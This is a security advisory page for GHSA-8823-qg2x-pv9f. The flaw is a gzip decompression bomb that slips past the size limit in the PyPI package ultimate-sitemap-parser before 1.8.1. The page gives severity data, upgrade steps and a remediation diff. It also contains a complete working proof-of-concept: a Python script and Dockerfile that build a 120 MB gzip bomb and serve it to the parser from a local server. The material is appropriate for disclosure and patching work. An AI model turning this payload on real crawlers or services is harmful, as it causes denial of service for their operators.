GHSA-8823-qg2x-pv9f: Ultimate Sitemap Parser (USP) Gzip Decompression Bomb Bypasses Sitemap Vulnerability

HIGH
CVSS 7.5
CWE-400
Published
Advisory Summary

GHSA-8823-qg2x-pv9f is a HIGH (CVSS 7.5) gzip decompression bomb bypasses sitemap vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Ultimate Sitemap Parser (USP) libraries in the PyPI ecosystem. The issue involves gzip decompression bomb bypasses sitemap size limit. Remediation is available by upgrading affected packages to version 1.8.1.

GHSA-8823-qg2x-pv9f at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-8823-qg2x-pv9f
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Ultimate Sitemap Parser (USP)
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix GHSA-8823-qg2x-pv9f

To remediate this vulnerability, upgrade all affected Ultimate Sitemap Parser (USP) dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ultimate-sitemap-parser fixed: 1.8.1
pip install ultimate-sitemap-parser>=1.8.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show ultimate-sitemap-parser

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-8823-qg2x-pv9f, inspect your installed packages using pip:

pip show ultimate-sitemap-parser

Analyze the terminal output to locate any version of Ultimate Sitemap Parser (USP) in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.8.1), your application is affected.

Note: The pip show ultimate-sitemap-parser command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Ultimate Sitemap Parser (USP), software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Gzip Decompression Bomb Bypasses Sitemap Size Limit ### Summary `ultimate-sitemap-parser` enforces a 100 MiB size limit on sitemap responses, but applies it only to the **compressed** bytes received over the network. When a `.gz` sitemap is fetched, `usp/helpers.py:239` calls `gzip_lib.decompress(data)` with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls `sitemap_tree_for_homepage()` against an untrusted site. ### Details The library declares a maximum sitemap size constant in `usp/fetch_parse.py:64`: ```python __MAX_SITEMAP_SIZE = 100 * 1024 * 1024 # Max. uncompressed sitemap size ``` Despite the comment saying "uncompressed", this value is passed directly to the HTTP client layer at `usp/fetch_parse.py:130`: ```python web_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE) ``` The HTTP client (`usp/web_client/requests_client.py:57-58`) slices only the raw compressed response bytes: ```python data = self.__requests_response.content[: self.__max_response_data_length] ``` The truncated (but still compressed) bytes are then passed through the pipeline to `usp/fetch_parse.py:175`: ```python response_content = ungzipped_response_content(url=self._url, response=response) ``` Inside `ungzipped_response_content` (`usp/helpers.py:265-267`), when the URL ends in `.gz` or the response carries a gzip content type, decompression is triggered: ```python if __response_is_gzipped_data(url=url, response=response): data = gunzip(data) ``` The `gunzip` function (`usp/helpers.py:239`) decompresses without any output-size guard: ```python gunzipped_data = gzip_lib.decompress(data) ``` No post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (`compressed < limit → True`) and then expanded to 125,829,234 bytes (120.0 MiB) in memory with no exception raised. ### PoC **Environment setup:** ```bash # Clone the repository at the affected commit git clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo cd /tmp/usp-repo git checkout 182f4642f145230b68e7518e627883edd09168ca # Build and run via Docker (memory-limited to 512 MiB) docker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/ docker run --rm --memory=512m usp-vuln-002 ``` **Alternatively, run directly:** ```bash python -m venv /tmp/usp-poc . /tmp/usp-poc/bin/activate pip install ultimate-sitemap-parser==1.8.0 python3 poc.py ``` **PoC script (`poc.py`) — abbreviated attack flow:** ```python import gzip, threading from http.server import BaseHTTPRequestHandler, HTTPServer from usp.tree import sitemap_tree_for_homepage # Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed bomb_xml = ( b'<?xml version="1.0" encoding="UTF-8"?>' b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' b'<!--' + b'B' * (120 * 1024 * 1024) + b'-->' b'</urlset>' ) compressed_bomb = gzip.compress(bomb_xml, compresslevel=1) class BombHandler(BaseHTTPRequestHandler): def do_GET(self): port = self.server.server_address[1] if self.path == "/robots.txt": body = f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n".encode() self.send_response(200); self.end_headers(); self.wfile.write(body) elif self.path == "/sitemap.xml.gz": self.send_response(200) self.send_header("Content-Type", "application/x-gzip") self.end_headers(); self.wfile.write(compressed_bomb) else: self.send_response(404); self.end_headers() def log_message(self, *a): pass server = HTTPServer(("127.0.0.1", 0), BombHandler) port = server.server_address[1] threading.Thread(target=server.serve_forever, daemon=True).start() sitemap_tree_for_homepage(f"http://127.0.0.1:{port}/", use_known_paths=False) server.shutdown() ``` **Expected output:** ``` [INTERCEPT] gunzip() input=549,213 B output=125,829,234 B (120.0 MB) [+] sitemap_tree_for_homepage() returned without exception compressed=549,213 B < limit=104,857,600 B (passes gate) decompressed=125,829,234 B > limit=104,857,600 B (no post-decompress check) EXCEEDS LIMIT: True [PASS] Decompression bomb bypassed the size limit. ``` The parser fetches `/sitemap.xml.gz`, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception. **Remediation:** ```diff --- a/usp/helpers.py +++ b/usp/helpers.py +import io -def gunzip(data: bytes) -> bytes: +def gunzip(data: bytes, max_output_bytes: int | None = None) -> bytes: try: - gunzipped_data = gzip_lib.decompress(data) + chunks, total = [], 0 + with gzip_lib.GzipFile(fileobj=io.BytesIO(data)) as gz: + while chunk := gz.read(1024 * 1024): + total += len(chunk) + if max_output_bytes is not None and total > max_output_bytes: + raise GunzipException( + f"Gunzipped data exceeds maximum size of {max_output_bytes} bytes." + ) + chunks.append(chunk) + gunzipped_data = b"".join(chunks) -def ungzipped_response_content(url, response): +def ungzipped_response_content(url, response, max_uncompressed_size=None): - data = gunzip(data) + data = gunzip(data, max_output_bytes=max_uncompressed_size) --- a/usp/fetch_parse.py - response_content = ungzipped_response_content(url=self._url, response=response) + response_content = ungzipped_response_content( + url=self._url, response=response, + max_uncompressed_size=self.__MAX_SITEMAP_SIZE, + ) ``` ### Impact Any application that calls `sitemap_tree_for_homepage()` (or the underlying fetch/parse pipeline) against an attacker-controlled or compromised domain is vulnerable. The attacker only needs to control a web server that serves a valid `robots.txt` pointing to a gzip-compressed sitemap URL. No authentication or special configuration is required; the vulnerability is triggered by default library behavior. A ~549 KB compressed payload expands to 120 MiB in process memory. Larger bombs are possible up to the compressed-size limit (100 MiB of compressed data could expand to tens of gigabytes). Repeated requests or sufficiently large bombs can cause out-of-memory crashes, service disruptions, or denial of service in any process or service that performs sitemap crawling. This vulnerability is a **Denial of Service via Uncontrolled Resource Consumption (Decompression Bomb / Zip Bomb)**. Affected parties include: - SEO tooling, search engine crawlers, and indexing services using this library. - Web frameworks and microservices that expose a sitemap-crawling endpoint to external input. - Any automated pipeline that regularly crawls third-party sitemaps. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.12-slim # Install build dependencies RUN apt-get update && apt-get install -y --no-install-recommends \ gcc \ && rm -rf /var/lib/apt/lists/* WORKDIR /app # Copy the vulnerable library from the cloned repo (build context: parent dir) COPY repo/ /app/repo/ # Install the library from local source (version 1.8.0) RUN pip install --no-cache-dir /app/repo/ # Copy the PoC script COPY vuln-002/poc.py /app/poc.py # Run with unbuffered output so evidence appears immediately CMD ["python3", "-u", "/app/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ Proof-of-Concept for VULN-002: Gzip Decompression Bomb Bypasses Sitemap Size Limit GateNLP/ultimate-sitemap-parser 1.8.0 Vulnerability location: usp/helpers.py:239 gunzipped_data = gzip_lib.decompress(data) # no max_length Attack path: 1. Attacker serves /robots.txt pointing to /sitemap.xml.gz 2. Library enforces MAX_SITEMAP_SIZE (100 MB) on *compressed* response bytes 3. Library calls gunzip() with no output-size limit 4. Small compressed payload expands to >>100 MB in process memory Expected outcome: gunzip() output size > 100 MB with no exception raised. """ import gzip import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer # Mirrors usp/fetch_parse.py:64 — the library's declared maximum MAX_SITEMAP_SIZE = 100 * 1024 * 1024 # 100 MB # Bomb decompresses to this size (deliberately exceeds the limit) BOMB_UNCOMPRESSED_MB = 120 BOMB_UNCOMPRESSED_BYTES = BOMB_UNCOMPRESSED_MB * 1024 * 1024 def get_rss_mb() -> float: """Read current RSS from /proc/self/status in MB.""" try: with open("/proc/self/status") as fh: for line in fh: if line.startswith("VmRSS:"): return int(line.split()[1]) / 1024 except OSError: pass return 0.0 # --------------------------------------------------------------------------- # Step 1 — Build the gzip bomb # --------------------------------------------------------------------------- print("[*] Building gzip bomb (compresslevel=1, fast) ...") bomb_xml = ( b'<?xml version="1.0" encoding="UTF-8"?>' b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' b'<!--' + b'B' * BOMB_UNCOMPRESSED_BYTES + b'-->' b'</urlset>' ) compressed_bomb = gzip.compress(bomb_xml, compresslevel=1) print(f"[+] Uncompressed payload : {len(bomb_xml):>12,} bytes ({len(bomb_xml)/1024/1024:.1f} MB)") print(f"[+] Compressed bomb : {len(compressed_bomb):>12,} bytes ({len(compressed_bomb)/1024/1024:.3f} MB)") print(f"[+] Library MAX_SITEMAP_SIZE : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)") print(f"[+] compressed < limit : {len(compressed_bomb) < MAX_SITEMAP_SIZE} " f"(bomb passes the size gate)") print(f"[+] uncompressed > limit : {len(bomb_xml) > MAX_SITEMAP_SIZE} " f"(decompression would exceed intent)") print() # --------------------------------------------------------------------------- # Step 2 — Serve the bomb via a local HTTP server # --------------------------------------------------------------------------- class BombHandler(BaseHTTPRequestHandler): def do_GET(self) -> None: port = self.server.server_address[1] if self.path == "/robots.txt": body = ( f"User-agent: *\n" f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n" ).encode() self.send_response(200) self.send_header("Content-Type", "text/plain; charset=utf-8") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) elif self.path == "/sitemap.xml.gz": self.send_response(200) self.send_header("Content-Type", "application/x-gzip") self.send_header("Content-Length", str(len(compressed_bomb))) self.end_headers() self.wfile.write(compressed_bomb) else: self.send_response(404) self.end_headers() def log_message(self, fmt: str, *args: object) -> None: # silence default log print(f" [HTTP] {self.path} {fmt % args}") server = HTTPServer(("127.0.0.1", 0), BombHandler) port = server.server_address[1] threading.Thread(target=server.serve_forever, daemon=True).start() print(f"[*] Bomb server listening on http://127.0.0.1:{port}/") # --------------------------------------------------------------------------- # Step 3 — Monkeypatch usp.helpers.gunzip to intercept decompressed size # --------------------------------------------------------------------------- import usp.helpers as _helpers _orig_gunzip = _helpers.gunzip _intercepted: list[int] = [] def _patched_gunzip(data: bytes) -> bytes: result = _orig_gunzip(data) _intercepted.append(len(result)) print(f" [INTERCEPT] gunzip() input={len(data):,} B output={len(result):,} B " f"({len(result)/1024/1024:.1f} MB)") return result _helpers.gunzip = _patched_gunzip # --------------------------------------------------------------------------- # Step 4 — Trigger the vulnerability # --------------------------------------------------------------------------- from usp.tree import sitemap_tree_for_homepage rss_before = get_rss_mb() print(f"[*] RSS before parse: {rss_before:.1f} MB") print(f"[*] Calling sitemap_tree_for_homepage(http://127.0.0.1:{port}/) ...") try: _tree = sitemap_tree_for_homepage( f"http://127.0.0.1:{port}/", use_known_paths=False, ) parse_raised = False print("[+] sitemap_tree_for_homepage() returned without exception") except Exception as exc: parse_raised = True print(f"[!] sitemap_tree_for_homepage() raised: {exc}") rss_after = get_rss_mb() print(f"[*] RSS after parse: {rss_after:.1f} MB (delta: +{rss_after - rss_before:.1f} MB)") server.shutdown() # --------------------------------------------------------------------------- # Step 5 — Evaluate and report # --------------------------------------------------------------------------- print() print("=" * 60) print("EXPLOIT RESULT SUMMARY") print("=" * 60) passed = False reason = "no gunzip intercept captured" if _intercepted: max_decompressed = max(_intercepted) print(f" gunzip() call(s) : {len(_intercepted)}") print(f" max decompressed : {max_decompressed:,} bytes ({max_decompressed/1024/1024:.1f} MB)") print(f" library limit : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)") print(f" EXCEEDS LIMIT : {max_decompressed > MAX_SITEMAP_SIZE}") if max_decompressed > MAX_SITEMAP_SIZE: passed = True reason = ( f"gunzip() decompressed {max_decompressed:,} bytes " f"({max_decompressed/1024/1024:.1f} MB), exceeding the " f"{MAX_SITEMAP_SIZE/1024/1024:.0f} MB limit without raising an exception" ) print() print(" [PASS] Decompression bomb bypassed the size limit.") print(f" compressed={len(compressed_bomb):,} B < limit={MAX_SITEMAP_SIZE:,} B " f"(passes gate)") print(f" decompressed={max_decompressed:,} B > limit={MAX_SITEMAP_SIZE:,} B " f"(no post-decompress check)") else: reason = ( f"gunzip() decompressed {max_decompressed:,} bytes but did not exceed " f"{MAX_SITEMAP_SIZE:,} bytes limit" ) print() print(" [FAIL] Decompressed size did not exceed limit.") else: print(" [FAIL] gunzip() was not intercepted — sitemap path not reached.") print("=" * 60) sys.exit(0 if passed else 1) ```

GHSA-8823-qg2x-pv9f Affected Ultimate Sitemap Parser (USP) Versions

1 component(s)
Fixed Versions:
1.8.1
Product / Package Ecosystem Affected Versions Fixed Version
ultimate-sitemap-parser
PyPI
< 1.8.1
1.8.1

References

Frequently Asked Questions

What is GHSA-8823-qg2x-pv9f?
GHSA-8823-qg2x-pv9f is a security vulnerability in Ultimate Sitemap Parser (USP) involving Gzip Decompression Bomb Bypasses Sitemap Size Limit under CWE-400: Uncontrolled Resource Consumption.
Which Ultimate Sitemap Parser (USP) versions are affected?
Affected versions include releases prior to 1.8.1 across affected packages: ultimate-sitemap-parser.
What version fixes GHSA-8823-qg2x-pv9f?
Upgrading to 1.8.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ultimate-sitemap-parser affected?
Yes, ultimate-sitemap-parser is affected in releases prior to 1.8.1. Upgrade your dependency to 1.8.1 or later.
What is the CVSS score of GHSA-8823-qg2x-pv9f?
GHSA-8823-qg2x-pv9f has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with GHSA-8823-qg2x-pv9f?
GHSA-8823-qg2x-pv9f is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check PyPI dependencies for GHSA-8823-qg2x-pv9f?
Run the dependency tree command: 'pip show ultimate-sitemap-parser'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8823-qg2x-pv9f",
  "modified" : "2026-06-19T21:15:34Z",
  "published" : "2026-06-19T21:15:34Z",
  "aliases" : [ ],
  "summary" : "Ultimate Sitemap Parser (USP): Gzip Decompression Bomb Bypasses Sitemap Size Limit",
  "details" : "## Gzip Decompression Bomb Bypasses Sitemap Size Limit\n\n### Summary\n\n`ultimate-sitemap-parser` enforces a 100 MiB size limit on sitemap responses, but applies it only to the **compressed** bytes received over the network. When a `.gz` sitemap is fetched, `usp/helpers.py:239` calls `gzip_lib.decompress(data)` with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls `sitemap_tree_for_homepage()` against an untrusted site.\n\n### Details\n\nThe library declares a maximum sitemap size constant in `usp/fetch_parse.py:64`:\n\n```python\n__MAX_SITEMAP_SIZE = 100 * 1024 * 1024  # Max. uncompressed sitemap size\n```\n\nDespite the comment saying \"uncompressed\", this value is passed directly to the HTTP client layer at `usp/fetch_parse.py:130`:\n\n```python\nweb_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE)\n```\n\nThe HTTP client (`usp/web_client/requests_client.py:57-58`) slices only the raw compressed response bytes:\n\n```python\ndata = self.__requests_response.content[: self.__max_response_data_length]\n```\n\nThe truncated (but still compressed) bytes are then passed through the pipeline to `usp/fetch_parse.py:175`:\n\n```python\nresponse_content = ungzipped_response_content(url=self._url, response=response)\n```\n\nInside `ungzipped_response_content` (`usp/helpers.py:265-267`), when the URL ends in `.gz` or the response carries a gzip content type, decompression is triggered:\n\n```python\nif __response_is_gzipped_data(url=url, response=response):\n    data = gunzip(data)\n```\n\nThe `gunzip` function (`usp/helpers.py:239`) decompresses without any output-size guard:\n\n```python\ngunzipped_data = gzip_lib.decompress(data)\n```\n\nNo post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (`compressed < limit → True`) and then expanded to 125,829,234 bytes (120.0 MiB) in memory with no exception raised.\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Clone the repository at the affected commit\ngit clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo\ncd /tmp/usp-repo\ngit checkout 182f4642f145230b68e7518e627883edd09168ca\n\n# Build and run via Docker (memory-limited to 512 MiB)\ndocker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/\ndocker run --rm --memory=512m usp-vuln-002\n```\n\n**Alternatively, run directly:**\n\n```bash\npython -m venv /tmp/usp-poc\n. /tmp/usp-poc/bin/activate\npip install ultimate-sitemap-parser==1.8.0\npython3 poc.py\n```\n\n**PoC script (`poc.py`) — abbreviated attack flow:**\n\n```python\nimport gzip, threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom usp.tree import sitemap_tree_for_homepage\n\n# Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed\nbomb_xml = (\n    b'<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n    b'<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">'\n    b'<!--' + b'B' * (120 * 1024 * 1024) + b'-->'\n    b'</urlset>'\n)\ncompressed_bomb = gzip.compress(bomb_xml, compresslevel=1)\n\nclass BombHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        port = self.server.server_address[1]\n        if self.path == \"/robots.txt\":\n            body = f\"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\\n\".encode()\n            self.send_response(200); self.end_headers(); self.wfile.write(body)\n        elif self.path == \"/sitemap.xml.gz\":\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/x-gzip\")\n            self.end_headers(); self.wfile.write(compressed_bomb)\n        else:\n            self.send_response(404); self.end_headers()\n    def log_message(self, *a): pass\n\nserver = HTTPServer((\"127.0.0.1\", 0), BombHandler)\nport = server.server_address[1]\nthreading.Thread(target=server.serve_forever, daemon=True).start()\n\nsitemap_tree_for_homepage(f\"http://127.0.0.1:{port}/\", use_known_paths=False)\nserver.shutdown()\n```\n\n**Expected output:**\n\n```\n[INTERCEPT] gunzip() input=549,213 B  output=125,829,234 B (120.0 MB)\n[+] sitemap_tree_for_homepage() returned without exception\ncompressed=549,213 B < limit=104,857,600 B (passes gate)\ndecompressed=125,829,234 B > limit=104,857,600 B (no post-decompress check)\nEXCEEDS LIMIT: True\n[PASS] Decompression bomb bypassed the size limit.\n```\n\nThe parser fetches `/sitemap.xml.gz`, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception.\n\n**Remediation:**\n\n```diff\n--- a/usp/helpers.py\n+++ b/usp/helpers.py\n+import io\n \n-def gunzip(data: bytes) -> bytes:\n+def gunzip(data: bytes, max_output_bytes: int | None = None) -> bytes:\n     try:\n-        gunzipped_data = gzip_lib.decompress(data)\n+        chunks, total = [], 0\n+        with gzip_lib.GzipFile(fileobj=io.BytesIO(data)) as gz:\n+            while chunk := gz.read(1024 * 1024):\n+                total += len(chunk)\n+                if max_output_bytes is not None and total > max_output_bytes:\n+                    raise GunzipException(\n+                        f\"Gunzipped data exceeds maximum size of {max_output_bytes} bytes.\"\n+                    )\n+                chunks.append(chunk)\n+        gunzipped_data = b\"\".join(chunks)\n\n-def ungzipped_response_content(url, response):\n+def ungzipped_response_content(url, response, max_uncompressed_size=None):\n-            data = gunzip(data)\n+            data = gunzip(data, max_output_bytes=max_uncompressed_size)\n\n--- a/usp/fetch_parse.py\n-        response_content = ungzipped_response_content(url=self._url, response=response)\n+        response_content = ungzipped_response_content(\n+            url=self._url, response=response,\n+            max_uncompressed_size=self.__MAX_SITEMAP_SIZE,\n+        )\n```\n\n### Impact\n\nAny application that calls `sitemap_tree_for_homepage()` (or the underlying fetch/parse pipeline) against an attacker-controlled or compromised domain is vulnerable. The attacker only needs to control a web server that serves a valid `robots.txt` pointing to a gzip-compressed sitemap URL. No authentication or special configuration is required; the vulnerability is triggered by default library behavior.\n\nA ~549 KB compressed payload expands to 120 MiB in process memory. Larger bombs are possible up to the compressed-size limit (100 MiB of compressed data could expand to tens of gigabytes). Repeated requests or sufficiently large bombs can cause out-of-memory crashes, service disruptions, or denial of service in any process or service that performs sitemap crawling.\n\nThis vulnerability is a **Denial of Service via Uncontrolled Resource Consumption (Decompression Bomb / Zip Bomb)**. Affected parties include:\n\n- SEO tooling, search engine crawlers, and indexing services using this library.\n- Web frameworks and microservices that expose a sitemap-crawling endpoint to external input.\n- Any automated pipeline that regularly crawls third-party sitemaps.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# Install build dependencies\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n    gcc \\\n    && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the vulnerable library from the cloned repo (build context: parent dir)\nCOPY repo/ /app/repo/\n\n# Install the library from local source (version 1.8.0)\nRUN pip install --no-cache-dir /app/repo/\n\n# Copy the PoC script\nCOPY vuln-002/poc.py /app/poc.py\n\n# Run with unbuffered output so evidence appears immediately\nCMD [\"python3\", \"-u\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept for VULN-002:\nGzip Decompression Bomb Bypasses Sitemap Size Limit\nGateNLP/ultimate-sitemap-parser 1.8.0\n\nVulnerability location: usp/helpers.py:239\n  gunzipped_data = gzip_lib.decompress(data)   # no max_length\n\nAttack path:\n  1. Attacker serves /robots.txt pointing to /sitemap.xml.gz\n  2. Library enforces MAX_SITEMAP_SIZE (100 MB) on *compressed* response bytes\n  3. Library calls gunzip() with no output-size limit\n  4. Small compressed payload expands to >>100 MB in process memory\n\nExpected outcome: gunzip() output size > 100 MB with no exception raised.\n\"\"\"\n\nimport gzip\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# Mirrors usp/fetch_parse.py:64 — the library's declared maximum\nMAX_SITEMAP_SIZE = 100 * 1024 * 1024  # 100 MB\n\n# Bomb decompresses to this size (deliberately exceeds the limit)\nBOMB_UNCOMPRESSED_MB = 120\nBOMB_UNCOMPRESSED_BYTES = BOMB_UNCOMPRESSED_MB * 1024 * 1024\n\n\ndef get_rss_mb() -> float:\n    \"\"\"Read current RSS from /proc/self/status in MB.\"\"\"\n    try:\n        with open(\"/proc/self/status\") as fh:\n            for line in fh:\n                if line.startswith(\"VmRSS:\"):\n                    return int(line.split()[1]) / 1024\n    except OSError:\n        pass\n    return 0.0\n\n\n# ---------------------------------------------------------------------------\n# Step 1 — Build the gzip bomb\n# ---------------------------------------------------------------------------\nprint(\"[*] Building gzip bomb (compresslevel=1, fast) ...\")\nbomb_xml = (\n    b'<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n    b'<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">'\n    b'<!--' + b'B' * BOMB_UNCOMPRESSED_BYTES + b'-->'\n    b'</urlset>'\n)\ncompressed_bomb = gzip.compress(bomb_xml, compresslevel=1)\n\nprint(f\"[+] Uncompressed payload : {len(bomb_xml):>12,} bytes  ({len(bomb_xml)/1024/1024:.1f} MB)\")\nprint(f\"[+] Compressed bomb      : {len(compressed_bomb):>12,} bytes  ({len(compressed_bomb)/1024/1024:.3f} MB)\")\nprint(f\"[+] Library MAX_SITEMAP_SIZE : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)\")\nprint(f\"[+] compressed < limit   : {len(compressed_bomb) < MAX_SITEMAP_SIZE}  \"\n      f\"(bomb passes the size gate)\")\nprint(f\"[+] uncompressed > limit : {len(bomb_xml) > MAX_SITEMAP_SIZE}  \"\n      f\"(decompression would exceed intent)\")\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 2 — Serve the bomb via a local HTTP server\n# ---------------------------------------------------------------------------\nclass BombHandler(BaseHTTPRequestHandler):\n    def do_GET(self) -> None:\n        port = self.server.server_address[1]\n        if self.path == \"/robots.txt\":\n            body = (\n                f\"User-agent: *\\n\"\n                f\"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\\n\"\n            ).encode()\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"text/plain; charset=utf-8\")\n            self.send_header(\"Content-Length\", str(len(body)))\n            self.end_headers()\n            self.wfile.write(body)\n\n        elif self.path == \"/sitemap.xml.gz\":\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/x-gzip\")\n            self.send_header(\"Content-Length\", str(len(compressed_bomb)))\n            self.end_headers()\n            self.wfile.write(compressed_bomb)\n\n        else:\n            self.send_response(404)\n            self.end_headers()\n\n    def log_message(self, fmt: str, *args: object) -> None:  # silence default log\n        print(f\"    [HTTP] {self.path}  {fmt % args}\")\n\n\nserver = HTTPServer((\"127.0.0.1\", 0), BombHandler)\nport = server.server_address[1]\nthreading.Thread(target=server.serve_forever, daemon=True).start()\nprint(f\"[*] Bomb server listening on http://127.0.0.1:{port}/\")\n\n# ---------------------------------------------------------------------------\n# Step 3 — Monkeypatch usp.helpers.gunzip to intercept decompressed size\n# ---------------------------------------------------------------------------\nimport usp.helpers as _helpers\n\n_orig_gunzip = _helpers.gunzip\n_intercepted: list[int] = []\n\n\ndef _patched_gunzip(data: bytes) -> bytes:\n    result = _orig_gunzip(data)\n    _intercepted.append(len(result))\n    print(f\"    [INTERCEPT] gunzip() input={len(data):,} B  output={len(result):,} B \"\n          f\"({len(result)/1024/1024:.1f} MB)\")\n    return result\n\n\n_helpers.gunzip = _patched_gunzip\n\n# ---------------------------------------------------------------------------\n# Step 4 — Trigger the vulnerability\n# ---------------------------------------------------------------------------\nfrom usp.tree import sitemap_tree_for_homepage\n\nrss_before = get_rss_mb()\nprint(f\"[*] RSS before parse: {rss_before:.1f} MB\")\nprint(f\"[*] Calling sitemap_tree_for_homepage(http://127.0.0.1:{port}/) ...\")\n\ntry:\n    _tree = sitemap_tree_for_homepage(\n        f\"http://127.0.0.1:{port}/\",\n        use_known_paths=False,\n    )\n    parse_raised = False\n    print(\"[+] sitemap_tree_for_homepage() returned without exception\")\nexcept Exception as exc:\n    parse_raised = True\n    print(f\"[!] sitemap_tree_for_homepage() raised: {exc}\")\n\nrss_after = get_rss_mb()\nprint(f\"[*] RSS after  parse: {rss_after:.1f} MB  (delta: +{rss_after - rss_before:.1f} MB)\")\n\nserver.shutdown()\n\n# ---------------------------------------------------------------------------\n# Step 5 — Evaluate and report\n# ---------------------------------------------------------------------------\nprint()\nprint(\"=\" * 60)\nprint(\"EXPLOIT RESULT SUMMARY\")\nprint(\"=\" * 60)\n\npassed = False\nreason = \"no gunzip intercept captured\"\n\nif _intercepted:\n    max_decompressed = max(_intercepted)\n    print(f\"  gunzip() call(s)     : {len(_intercepted)}\")\n    print(f\"  max decompressed     : {max_decompressed:,} bytes ({max_decompressed/1024/1024:.1f} MB)\")\n    print(f\"  library limit        : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)\")\n    print(f\"  EXCEEDS LIMIT        : {max_decompressed > MAX_SITEMAP_SIZE}\")\n\n    if max_decompressed > MAX_SITEMAP_SIZE:\n        passed = True\n        reason = (\n            f\"gunzip() decompressed {max_decompressed:,} bytes \"\n            f\"({max_decompressed/1024/1024:.1f} MB), exceeding the \"\n            f\"{MAX_SITEMAP_SIZE/1024/1024:.0f} MB limit without raising an exception\"\n        )\n        print()\n        print(\"  [PASS] Decompression bomb bypassed the size limit.\")\n        print(f\"  compressed={len(compressed_bomb):,} B < limit={MAX_SITEMAP_SIZE:,} B \"\n              f\"(passes gate)\")\n        print(f\"  decompressed={max_decompressed:,} B > limit={MAX_SITEMAP_SIZE:,} B \"\n              f\"(no post-decompress check)\")\n    else:\n        reason = (\n            f\"gunzip() decompressed {max_decompressed:,} bytes but did not exceed \"\n            f\"{MAX_SITEMAP_SIZE:,} bytes limit\"\n        )\n        print()\n        print(\"  [FAIL] Decompressed size did not exceed limit.\")\nelse:\n    print(\"  [FAIL] gunzip() was not intercepted — sitemap path not reached.\")\n\nprint(\"=\" * 